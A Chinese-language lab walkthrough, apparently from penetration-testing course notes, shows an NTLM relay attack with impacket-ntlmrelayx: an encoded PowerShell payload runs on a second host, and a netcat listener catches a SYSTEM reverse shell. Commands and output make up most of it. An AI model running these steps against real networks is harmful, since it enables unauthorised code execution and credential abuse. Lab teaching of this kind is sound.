

# 【shell】 【impacket】 ntlmrelayx

```
# --no-http-server來停用HTTP伺服器，因為我們正在中繼SMB連接
# -smb2support添加對SMB2.3的支援。
# -t將目標設定為FILES02。
# -c設定我們要在目標系統上作為中繼用戶執行的命令
kali@kali:~$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 \
-c "powershell -enc JABjAGwAaQBIAg4AdA..."
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
```

接下來，在一個新的終端標籤中，我們將在端口8080上啟動Netcat聽取器，以接收傳入的反向殼。

```
kali@kali:~$ nc -nvlp 8080
listening on [any] 8080 ...
```

現在，我們將在另一個終端中執行Netcat以連接到FILES01上的綁定殼（端口5555）。連接後，我們將輸入dir \\192.168.119.2\\test以建立到我們Kali機器的SMB連接。再次強調，遠程文件夾名稱是任意的。

```
kali@kali:~$ nc 192.168.50.211 5555
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
files01\files02admin

C:\Windows\system32>dir \\192.168.119.2\test
...
```

我們應該在ntlmrelayx的終端標籤中收到一個傳入的連接。

```
[*] SMBD-Thread-4: Received connection from 192.168.50.211, attacking target smb://192.168.50.212
[*] Authenticating against smb://192.168.50.212 as FILES01/FILES02ADMIN SUCCEED
[*] SMBD-Thread-6: Connection from 192.168.50.211 controlled, but there are no more targets left!
...
[*] Executed specified command on host: 192.168.50.212
```

輸出顯示ntlmrelayx接收到了一個SMB連接，並使用它中繼到我們的目標進行身份驗證。在成功驗證後，我們的命令在目標上被執行。

我們的Netcat聽取器應該已經捕獲到了反向殼。

```
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.212] 49674
whoami
nt authority\system

PS C:\Windows\system32> hostname
FILES02

PS C:\Windows\system32> ipconfig

Windows IP Configuration
```

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :

Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4

IPv4 Address. . . . . : 192.168.50.212

Subnet Mask . . . . . : 255.255.255.0

Default Gateway . . . . . : 192.168.50.254

清單56顯示，我們可以利用中繼攻擊在FILES02上取得代碼執行權限。

---

🕒修訂版本 #1

★由 treeman 建立於 12 🕒@🕒🕒 2024 10:04:54

✎由 treeman 更新於 12 🕒@🕒🕒 2024 10:13:50